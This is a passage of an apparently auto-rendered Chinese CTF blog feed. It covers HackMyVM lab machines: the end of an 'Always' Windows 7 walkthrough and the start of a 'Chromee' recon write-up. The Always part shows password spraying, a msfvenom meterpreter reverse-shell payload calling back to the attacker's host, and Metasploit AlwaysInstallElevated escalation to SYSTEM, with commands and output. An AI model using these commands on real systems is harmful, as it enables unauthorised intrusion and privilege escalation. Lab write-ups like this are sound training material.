&lt;p&gt;&lt;strong&gt;用 &lt;strong&gt;&lt;code&gt;**ftpuser**&lt;/code&gt;&lt;/strong&gt; 去“修改 &lt;strong&gt;&lt;code&gt;**Always**&lt;/code&gt;&lt;/strong&gt; 的密码”——基本不可能。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;除非满足&lt;strong&gt;下面任意一个条件&lt;/strong&gt;（你现在都不满足）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ftpuser&lt;/code&gt; 是 &lt;strong&gt;Administrators&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ftpuser&lt;/code&gt; 有 &lt;strong&gt;Reset Password&lt;/strong&gt; 权限&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ftpuser&lt;/code&gt; 能 &lt;strong&gt;本地提权到 SYSTEM / Administrator&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而你自己的 &lt;code&gt;enum4linux&lt;/code&gt; 已经证明了：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ftpuser ∈ Users
ftpuser ∉ Administrators
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以：&lt;/p&gt;
&lt;p&gt;❌ &lt;strong&gt;ftpuser 不能给 Always 改密码&lt;/strong&gt;&lt;br&gt;❌ 也不能“帮你修正密码”&lt;/p&gt;
&lt;h2&gt;rdp登录&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;xfreerdp /v:172.16.52.224 /u:ftpuser /p:&amp;#39;KeepGoingBro!!!&amp;#39; /cert:ignore
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Always-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;密码爆破&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;enum4linux -u &amp;#39;ftpuser&amp;#39; -p &amp;#39;KeepGoingBro!!!&amp;#39; -a 172.16.52.224 &amp;gt; enum 
grep -i &amp;quot;user:&amp;quot; enum | grep -vi &amp;quot;password&amp;quot; | sed -n &amp;#39;s/.*user:\[\([^]]*\)\].*/\1/p&amp;#39; | sort -u &amp;gt; user
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# cat user
Administrator
Always
ftpuser
Guest
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# vi passwd         
                                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# cat passwd         
KeepGoingBro!!!
YouCantFindMe.!.!
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# crackmapexec smb 172.16.52.224 -u ./user -p ./passwd --continue-on-success                
SMB         172.16.52.224   445    ALWAYS-PC        [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:ALWAYS-PC) (domain:Always-PC) (signing:False) (SMBv1:True)
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Administrator:KeepGoingBro!!! STATUS_LOGON_FAILURE 
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Administrator:YouCantFindMe.!.! STATUS_LOGON_FAILURE 
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Always:KeepGoingBro!!! STATUS_LOGON_FAILURE 
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Always:YouCantFindMe.!.! STATUS_LOGON_FAILURE 
SMB         172.16.52.224   445    ALWAYS-PC        [+] Always-PC\ftpuser:KeepGoingBro!!! 
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\ftpuser:YouCantFindMe.!.! STATUS_LOGON_FAILURE 
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Guest:KeepGoingBro!!! STATUS_LOGON_FAILURE 
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Guest:YouCantFindMe.!.! STATUS_LOGON_FAILURE 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是不行&lt;/p&gt;
&lt;h1&gt;ftpuser登录&lt;/h1&gt;
&lt;p&gt;我真是没招了，直接虚拟机ftpuser登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Always-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;上马&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=172.16.55.210 LPORT=7777 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 203846 bytes
Final size of exe file: 210432 bytes
Saved as: shell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# python -m http.server
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
└─# msfconsole  
Metasploit tip: Enable verbose logging with set VERBOSE true
                                                  

                 _---------.                                                                                                                                     
             .&amp;#39; #######   ;.&amp;quot;                                                                                                                                    
  .---,.    ;@             @@`;   .---,..                                                                                                                        
.&amp;quot; @@@@@&amp;#39;.,&amp;#39;@@            @@@@@&amp;#39;,.&amp;#39;@@@@ &amp;quot;.                                                                                                                       
&amp;#39;-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;                                                                                                                       
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .&amp;#39;                                                                                                                       
     &amp;quot;--&amp;#39;.@@@  -.@        @ ,&amp;#39;-   .&amp;#39;--&amp;quot;                                                                                                                          
          &amp;quot;.@&amp;#39; ; @       @ `.  ;&amp;#39;                                                                                                                                
            |@@@@ @@@     @    .                                                                                                                                 
             &amp;#39; @@@ @@   @@    ,                                                                                                                                  
              `.@@@@    @@   .                                                                                                                                   
                &amp;#39;,@@     @   ;           _____________                                                                                                           
                 (   3 C    )     /|___ / Metasploit! \                                                                                                          
                 ;@&amp;#39;. __*__,.&amp;quot;    \|--- \_____________/                                                                                                          
                  &amp;#39;(.,....&amp;quot;/                                                                                                                                     


       =[ metasploit v6.4.69-dev                          ]
+ -- --=[ 2529 exploits - 1302 auxiliary - 431 post       ]
+ -- --=[ 1678 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 &amp;gt; use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) &amp;gt; set payload windows/x64/meterpreter_reverse_tcp
payload =&amp;gt; windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) &amp;gt; set LHOST 172.16.55.210
LHOST =&amp;gt; 172.16.55.210
msf6 exploit(multi/handler) &amp;gt; set LPORT 9999
LPORT =&amp;gt; 9999
msf6 exploit(multi/handler) &amp;gt; run
[*] Started reverse TCP handler on 172.16.55.210:9999 
[*] Started reverse TCP handler on 172.16.55.210:7777 
[*] Meterpreter session 1 opened (172.16.55.210:7777 -&amp;gt; 172.16.52.224:49197) at 2025-12-13 02:20:35 -0500

meterpreter &amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;msf提权&lt;/h2&gt;
&lt;h3&gt;一、先确认当前权限和系统&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;getuid
sysinfo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果不是 SYSTEM，继续👇&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;二、后台运行 session（很关键）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;background
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;三、用 MSF 自动提权模块（首选）&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;use post/multi/recon/local_exploit_suggester   set SESSION &amp;lt;你的session_id&amp;gt;   run&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;meterpreter &amp;gt; getuid
Server username: Always-PC\ftpuser
meterpreter &amp;gt; sysinfo
Computer        : ALWAYS-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : tr_TR
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter &amp;gt; background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) &amp;gt; use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) &amp;gt; set SESSION 1
SESSION =&amp;gt; 1
msf6 post(multi/recon/local_exploit_suggester) &amp;gt; run
[*] 172.16.52.224 - Collecting local exploits for x64/windows...
/usr/share/metasploit-framework/modules/exploits/linux/local/sock_sendpage.rb:47: warning: key &amp;quot;Notes&amp;quot; is duplicated and overwritten on line 68
/usr/share/metasploit-framework/modules/exploits/unix/webapp/phpbb_highlight.rb:46: warning: key &amp;quot;Notes&amp;quot; is duplicated and overwritten on line 51
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
You can add syslog to your Gemfile or gemspec to silence this warning.
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.
[*] 172.16.52.224 - 205 exploit checks are being tried...
[+] 172.16.52.224 - exploit/windows/local/always_install_elevated: The target is vulnerable.
[+] 172.16.52.224 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 172.16.52.224 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 172.16.52.224 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 172.16.52.224 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 172.16.52.224 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 172.16.52.224 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
[+] 172.16.52.224 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 172.16.52.224 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 172.16.52.224 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 172.16.52.224 - exploit/windows/local/ms15_078_atmfd_bof: The service is running, but could not be validated.
[+] 172.16.52.224 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 172.16.52.224 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[+] 172.16.52.224 - exploit/windows/local/virtual_box_opengl_escape: The service is running, but could not be validated.
[*] Running check method for exploit 49 / 49
[*] 172.16.52.224 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/always_install_elevated                  Yes                      The target is vulnerable.
 2   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/cve_2019_1458_wizardopium                Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!                                 
 6   exploit/windows/local/cve_2020_1054_drawiconex_lpe             Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/cve_2021_40449                           Yes                      The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!                                            
 8   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 9   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 10  exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 11  exploit/windows/local/ms15_078_atmfd_bof                       Yes                      The service is running, but could not be validated.
 12  exploit/windows/local/ms16_014_wmi_recv_notif                  Yes                      The target appears to be vulnerable.
 13  exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.
 14  exploit/windows/local/virtual_box_opengl_escape                Yes                      The service is running, but could not be validated.
 15  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
 16  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
 17  exploit/windows/local/bypassuac_dotnet_profiler                No                       The target is not exploitable.
 18  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
 19  exploit/windows/local/bypassuac_sdclt                          No                       The target is not exploitable.
 20  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.
 21  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found                                                                            
 22  exploit/windows/local/capcom_sys_exec                          No                       The target is not exploitable.
 23  exploit/windows/local/cve_2020_0796_smbghost                   No                       The target is not exploitable.
 24  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.
 25  exploit/windows/local/cve_2020_1313_system_orchestrator        No                       The target is not exploitable.
 26  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.
 27  exploit/windows/local/cve_2020_17136                           No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!                               
 28  exploit/windows/local/cve_2021_21551_dbutil_memmove            No                       The target is not exploitable.
 29  exploit/windows/local/cve_2022_21882_win32k                    No                       The target is not exploitable.
 30  exploit/windows/local/cve_2022_21999_spoolfool_privesc         No                       The target is not exploitable. Windows 7 is technically vulnerable, though it requires a reboot.                                                
 31  exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver  No                       The target is not exploitable.
 32  exploit/windows/local/cve_2023_21768_afd_lpe                   No                       The target is not exploitable. The exploit only supports Windows 11 22H2                                                                        
 33  exploit/windows/local/cve_2023_28252_clfs_driver               No                       The target is not exploitable. The target system does not have clfs.sys in system32\drivers\                                                    
 34  exploit/windows/local/cve_2024_30085_cloud_files               No                       The target is not exploitable.
 35  exploit/windows/local/cve_2024_30088_authz_basep               No                       The target is not exploitable. Version detected: Windows 7 Service Pack 1. Revision number detected: 0.                                         
 36  exploit/windows/local/cve_2024_35250_ks_driver                 No                       The target is not exploitable. Version detected: Windows 7 Service Pack 1                                                                       
 37  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found
 38  exploit/windows/local/ikeext_service                           No                       The check raised an exception.
 39  exploit/windows/local/lexmark_driver_privesc                   No                       The target is not exploitable. No Lexmark print drivers in the driver store                                                                     
 40  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  No                       The target is not exploitable.
 41  exploit/windows/local/ms16_075_reflection                      No                       The target is not exploitable.
 42  exploit/windows/local/ms16_075_reflection_juicy                No                       The target is not exploitable.
 43  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.
 44  exploit/windows/local/nvidia_nvsvc                             No                       The check raised an exception.
 45  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.
 46  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found
 47  exploit/windows/local/srclient_dll_hijacking                   No                       The target is not exploitable. Target is not Windows Server 2012.
 48  exploit/windows/local/webexec                                  No                       The check raised an exception.
 49  exploit/windows/local/win_error_cve_2023_36874                 No                       The target is not exploitable.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;AlwaysInstallElevated提权&lt;/h2&gt;
&lt;p&gt;这是&lt;strong&gt;配置漏洞&lt;/strong&gt;，不是内核洞，基本不翻车。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;use exploit/windows/local/always_install_elevated   set SESSION 1   set PAYLOAD windows/x64/meterpreter/reverse_tcp   set LHOST &amp;lt;你的IP&amp;gt;   run&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;msf6 post(multi/recon/local_exploit_suggester) &amp;gt; use exploit/windows/local/always_install_elevated
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set SESSION 1
SESSION =&amp;gt; 1
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD =&amp;gt; windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set LHOST 172.16.55.210
LHOST =&amp;gt; 172.16.55.210
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run
[*] Started reverse TCP handler on 172.16.55.210:4444 
[*] Uploading the MSI to C:\Users\ftpuser\AppData\Local\Temp\MOWnCibCXGDD.msi ...
[*] Executing MSI...
[*] Sending stage (203846 bytes) to 172.16.52.224
[+] Deleted C:\Users\ftpuser\AppData\Local\Temp\MOWnCibCXGDD.msi
[*] Meterpreter session 2 opened (172.16.55.210:4444 -&amp;gt; 172.16.52.224:49210) at 2025-12-13 02:28:51 -0500

meterpreter &amp;gt; getuid
Server username: NT AUTHORITY\SYSTEM
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;C:\Users\Administrator\Desktop&amp;gt;type root.txt
type root.txt
HMV{White_Flag_Raised}

C:\Users\Always\Desktop&amp;gt;type user.txt
type user.txt
HMV{You_Found_Me!}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/always/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/always/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 13 Dec 2025 00:00:00 GMT</pubDate></item><item><title>HMV-Chromee</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/chromee/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/chromee/</guid><description>Have fun. :D</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Chromee-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;ip定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# arp-scan -l -I eth0 | grep &amp;quot;08:00:27&amp;quot; 
172.16.52.238   08:00:27:bb:51:c6       PCS Systemtechnik GmbH
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# nmap -Pn -sTCV -T4 -p0-65535 172.16.52.238
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-13 02:42 EST
Nmap scan report for 172.16.52.238
Host is up (0.00044s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: primary
8080/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn&amp;#39;t have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.51 seconds              
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;body&amp;gt;
    &amp;lt;nav class=&amp;quot;navbar&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;nav-links&amp;quot;&amp;gt;
            &amp;lt;a href=&amp;quot;#&amp;quot; class=&amp;quot;logo&amp;quot;&amp;gt;ModernUI&amp;lt;/a&amp;gt;
            &amp;lt;div&amp;gt;
                &amp;lt;a href=&amp;quot;#&amp;quot; class=&amp;quot;btn&amp;quot;&amp;gt;立即体验&amp;lt;/a&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/nav&amp;gt;

    &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
        &amp;lt;section class=&amp;quot;hero&amp;quot;&amp;gt;
            &amp;lt;h1&amp;gt;创造非凡体验&amp;lt;/h1&amp;gt;
            &amp;lt;p&amp;gt;用创新设计打造卓越数字产品&amp;lt;/p&amp;gt;
            &amp;lt;a href=&amp;quot;#&amp;quot; class=&amp;quot;btn&amp;quot; style=&amp;quot;margin-top: 2rem;&amp;quot;&amp;gt;了解更多&amp;lt;/a&amp;gt;
        &amp;lt;/section&amp;gt;

        &amp;lt;div class=&amp;quot;card-container&amp;quot;&amp;gt;
            &amp;lt;article class=&amp;quot;card&amp;quot;&amp;gt;
                &amp;lt;h3&amp;gt;响应式设计&amp;lt;/h3&amp;gt;
                &amp;lt;p&amp;gt;完美适配各种设备屏幕尺寸，提供一致的用户体验&amp;lt;/p&amp;gt;
            &amp;lt;/article&amp;gt;
            &amp;lt;article class=&amp;quot;card&amp;quot;&amp;gt;
                &amp;lt;h3&amp;gt;现代交互&amp;lt;/h3&amp;gt;
                &amp;lt;p&amp;gt;流畅的动画与直观的操作，提升用户参与度&amp;lt;/p&amp;gt;
            &amp;lt;/article&amp;gt;
            &amp;lt;article class=&amp;quot;card&amp;quot;&amp;gt;
                &amp;lt;h3&amp;gt;高效性能&amp;lt;/h3&amp;gt;
                &amp;lt;p&amp;gt;优化代码结构，确保快速加载与流畅运行&amp;lt;/p&amp;gt;
            &amp;lt;/article&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# dirsearch -u http://172.16.52.238:80   
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/hmv/reports/http_172.16.52.238_80/_25-12-13_02-45-44.txt

Target: http://172.16.52.238/

[02:45:44] Starting: 
                                                                             
Task Completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;什么都没有&lt;/p&gt;
&lt;h2&gt;8080端口&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;h2&amp;gt;You may need to bypass!&amp;lt;/h2&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# dirsearch -u http://172.16.52.238:8080 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/hmv/reports/http_172.16.52.238_8080/_25-12-13_02-45-52.txt

Target: http://172.16.52.238:8080/

[02:45:52] Starting:                                  
[02:46:05] 301 -  326B  - /javascript  -&amp;gt;  http://172.16.52.238:8080/javascript/
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;/javascript&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Forbidden

You don&amp;#39;t have permission to access this resource.
Apache/2.4.56 (Debian) Server at 172.16.52.238 Port 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Burpsuite&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;8080/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-open-proxy: Proxy might be redirecting requests  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; HTTP 开放代理：该服务可能正在把你的请求转发（重定向）到其他地址  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;GET / HTTP/1.1

Host: 172.16.52.238:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;HTTP/1.1 200 OK

Date: Sat, 13 Dec 2025 07:53:12 GMT
Server: Apache/2.4.56 (Debian)
Last-Modified: Fri, 07 Mar 2025 15:12:58 GMT
ETag: &amp;quot;21-62fc20ec5fafa&amp;quot;
Accept-Ranges: bytes
Content-Length: 33
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

&amp;lt;h2&amp;gt;You may need to bypass!&amp;lt;/h2&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试bypass失败&lt;/p&gt;
&lt;h2&gt;gobuster-二次目录扫描&lt;/h2&gt;
&lt;p&gt;太相信dirsearch了，80端口啥也扫不出来&lt;/p&gt;
&lt;h3&gt;80端口&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# gobuster dir -u 172.16.52.238 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.16.52.238
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,html,zip,db,bak,js,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 4464]
/post.php             (Status: 200) [Size: 3]
/secret.php           (Status: 200) [Size: 549]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Secret&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;?php
    $greeting = date(&amp;#39;H&amp;#39;) &amp;lt; 12 ? &amp;#39;早上好&amp;#39; : (date(&amp;#39;H&amp;#39;) &amp;lt; 18 ? &amp;#39;下午好&amp;#39; : &amp;#39;晚上好&amp;#39;);
    $visitorIP = htmlspecialchars($_SERVER[&amp;#39;REMOTE_ADDR&amp;#39;]);

    echo &amp;quot;&amp;lt;h1&amp;gt;{$greeting}，adriana&amp;lt;/h1&amp;gt;&amp;quot;;
    echo &amp;quot;&amp;lt;p&amp;gt;当前时间：&amp;quot; . date(&amp;#39;Y-m-d H:i:s&amp;#39;) . &amp;quot;&amp;lt;/p&amp;gt;&amp;quot;;
    echo &amp;quot;&amp;lt;p&amp;gt;你的IP：{$visitorIP}&amp;lt;/p&amp;gt;&amp;quot;;
    if (isset($_GET[&amp;#39;aaa&amp;#39;])) {
    	$file_content = file_get_contents(&amp;#39;/opt/note/dic.txt&amp;#39;);
    	echo $file_content;
	} else {
    		die();
	}
    ?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
